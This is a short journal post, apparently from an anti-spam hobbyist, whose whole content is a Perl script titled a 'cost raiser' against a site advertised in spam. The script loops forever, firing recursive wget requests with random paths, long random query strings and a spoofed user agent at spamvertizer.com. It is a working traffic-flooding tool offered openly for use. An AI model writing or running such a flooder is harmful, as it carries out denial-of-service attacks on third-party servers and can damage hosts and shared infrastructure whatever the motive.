piotru's Journal: DIY spamverizer cost raiser

#!/usr/bin/perl -w

srand time;
@let_array = ('a'..'z'); #0..25
@agent_dict = ('A'..'Z','a'..'z'); #0..51
$agent="\"Mozilla/5.001 (windows; U; NT4.0; en-us) Gecko/25250101\"";

while(1)
{
                @ar = ();
                foreach $num(0..3)
                {
                                $rn = int (rand(25));
                                $ar[$num]=$let_array[$rn];
                }
                $ags=join "",@ar;
                $aglen=int (rand(10000));
                foreach $num(0..$aglen)
                {
                                $rn = int (rand(51));
                                $ar[$num]=$agent_dict[$rn];
                }
                $agl=join "",@ar;
                $letter=$agent_dict[int rand(51)];
                `wget --user-agent=$agent -r -nd -O /dev/null http://spamvertizer.com/$ags.php?$letter=$agl`;
}